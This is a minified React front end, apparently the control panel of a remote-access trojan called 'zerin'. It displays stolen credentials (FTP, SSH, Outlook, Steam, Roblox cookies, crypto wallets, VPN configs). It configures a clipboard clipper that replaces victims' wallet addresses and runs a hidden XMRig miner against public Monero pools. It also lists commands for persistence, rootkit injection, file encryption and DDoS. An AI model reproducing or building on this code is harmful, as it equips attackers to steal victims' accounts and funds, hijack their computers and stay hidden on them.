text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),(((xe=i.putty)==null?void 0:xe.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text-dim",children:G.session}),s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[G.host,":",G.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user})]},re))})})]}),(((Y=i.outlook)==null?void 0:Y.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.account}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.server}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),!((ee=i.telegram)!=null&&ee.found)&&!((C=i.filezilla)!=null&&C.length)&&!((K=i.winscp)!=null&&K.length)&&!((ne=i.putty)!=null&&ne.length)&&!((B=i.outlook)!=null&&B.length)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),s.jsx(On,{title:"Gaming Sessions",count:((ie=i.steam)!=null&&ie.found?1:0)+((ve=i.epic)!=null&&ve.found?1:0)+(((we=i.minecraft)==null?void 0:we.length)??0)+((_e=i.roblox)!=null&&_e.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[((L=i.steam)==null?void 0:L.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:s.jsx("span",{className:"text-blue-400",children:"Steam"})}),s.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[i.steam.loginusers&&s.jsxs("button",{onClick:()=>j(i.steam.loginusers,"loginusers.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&s.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(de=i.steam.ssfn_files)==null?void 0:de.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,G.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.name]},re))]})]}),((q=i.epic)==null?void 0:q.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),s.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((te=i.minecraft)==null?void 0:te.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,`${G.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.launcher]},re))})]}),((me=i.roblox)==null?void 0:me.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?s.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:G=>w(i.roblox.cookie,G),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?s.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((V=i.steam)!=null&&V.found)&&!((Z=i.epic)!=null&&Z.found)&&!((fe=i.minecraft)!=null&&fe.length)&&!((E=i.roblox)!=null&&E.found)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),s.jsx(On,{title:"Crypto Wallets",count:((oe=i.wallets)==null?void 0:oe.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(J=i.wallets)!=null&&J.length?s.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((G,re)=>s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[s.jsx("span",{className:"text-amber-400",children:G.name}),s.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",G.files.length," file",G.files.length!==1?"s":"",")"]})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:G.files.map((ae,Oe)=>s.jsxs("button",{onClick:()=>j(ae.data,ae.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),ae.name]},Oe))})]},re))}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),s.jsx(On,{title:"VPN Configs",count:((pe=i.vpn)==null?void 0:pe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(be=i.vpn)!=null&&be.length?s.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((G,re)=>s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[s.jsx("span",{className:"text-emerald-400",children:G.name}),s.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",G.files.length," file",G.files.length!==1?"s":"",")"]})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:G.files.map((ae,Oe)=>s.jsxs("button",{onClick:()=>j(ae.data,ae.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),ae.name]},Oe))})]},re))}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ke=i.errors)==null?void 0:ke.length)??0)>0&&s.jsx(On,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:s.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((G,re)=>s.jsxs("div",{className:"text-xs",children:[s.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[G.source,":"]})," ",s.jsx("span",{className:"text-zerin-danger",children:G.error})]},re))})})]}),v&&s.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r + pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",s.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function On({title:e,count:t,expanded:n,onToggle:r,children:i}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r + hover:bg-zerin-panel-hover transition-colors`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),s.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&s.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const KU=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],qU={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function S2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function YU({agentId:e,agentStatus:t}){const[n,r]=p.useState({...qU}),[i,a]=p.useState(!1),[o,l]=p.useState(!1),[c,u]=p.useState(null),[d,f]=p.useState({}),m=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(k=>({...k,[b]:w}));const j=S2(b,w);f(k=>{const S={...k};return j?S[b]=j:delete S[b],S})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=p.useCallback(async()=>{if(m)return;const b={};for(const[w,j]of Object.entries(n))if(j){const k=S2(w,j);k&&(b[w]=k)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,k]of Object.entries(n))k&&(w[j]=k);await Ee(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,m]),v=p.useCallback(async()=>{if(!m){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Ee(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Ee(e,{command:i?"clipper_stop":"clipper_start"}),a(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,m]);return s.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&s.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg + ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),s.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),s.jsxs("button",{onClick:v,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors + disabled:opacity-30 disabled:cursor-not-allowed + ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),s.jsx("button",{onClick:y,disabled:o||m||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),s.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:KU.map(({key:b,label:w,placeholder:j,color:k})=>s.jsxs("div",{className:"space-y-1",children:[s.jsx("label",{className:`text-xs font-semibold ${k}`,children:w}),s.jsx("input",{type:"text",value:n[b],onChange:S=>x(b,S.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text + placeholder-zerin-text-muted + focus:outline-none focus:ring-1 transition-all + ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&s.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),s.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[s.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),s.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),s.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),s.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),s.jsx("li",{children:"Config can be updated while running"})]})]})]})}const z2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function GU({agentId:e,agentStatus:t}){const[n,r]=p.useState(z2[0]),[i,a]=p.useState(""),[o,l]=p.useState(""),[c,u]=p.useState(50),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),y=p.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(z,_)=>{h({text:z,type:_}),setTimeout(()=>h(null),5e3)};p.useEffect(()=>{if(!e)return;const z=async()=>{try{const _=await Un(e),A=(_.tasks??[]).filter(O=>O.command==="miner_status").sort((O,P)=>new Date(P.created_at).getTime()-new Date(O.created_at).getTime());if(A.length>0){const O=A[0],P=(_.results??[]).find(I=>I.task_id===O.id);if(P!=null&&P.output)try{const I=JSON.parse(P.output);g(I)}catch{}}}catch{}};return z(),y.current=setInterval(z,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Ee(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Ee(e,{command:"miner_status"})}catch{}},3e3)}catch(z){w(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0);try{await Ee(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}},S=async()=>{try{await Ee(e,{command:"miner_status"}),w("Status request sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to query status","err")}},N=z=>{const _=Math.floor(z/3600),A=Math.floor(z%3600/60),O=Math.floor(z%60);return _>0?`${_}h ${A}m ${O}s`:A>0?`${A}m ${O}s`:`${O}s`};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),b&&x&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),s.jsx("button",{onClick:S,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),s.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[s.jsx(xa,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),s.jsx(xa,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),s.jsx(xa,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),s.jsx(xa,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),s.jsx(xa,{label:"Uptime",value:x.uptime!=null?N(x.uptime):"-"}),s.jsx(xa,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&s.jsx("div",{className:"px-4 pb-3",children:s.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),s.jsx("select",{value:n,onChange:z=>r(z.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:z2.map(z=>s.jsx("option",{value:z,children:z},z))})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),s.jsx("input",{type:"text",value:i,onChange:z=>a(z.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),s.jsx("input",{type:"text",value:o,onChange:z=>l(z.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:z=>u(Number(z.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"10%"}),s.jsx("span",{children:"25%"}),s.jsx("span",{children:"50%"}),s.jsx("span",{children:"75%"}),s.jsx("span",{children:"100%"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:b?s.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):s.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),s.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:s.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",s.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function xa({label:e,value:t,valueClass:n}){return s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[s.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const C2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],XU={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 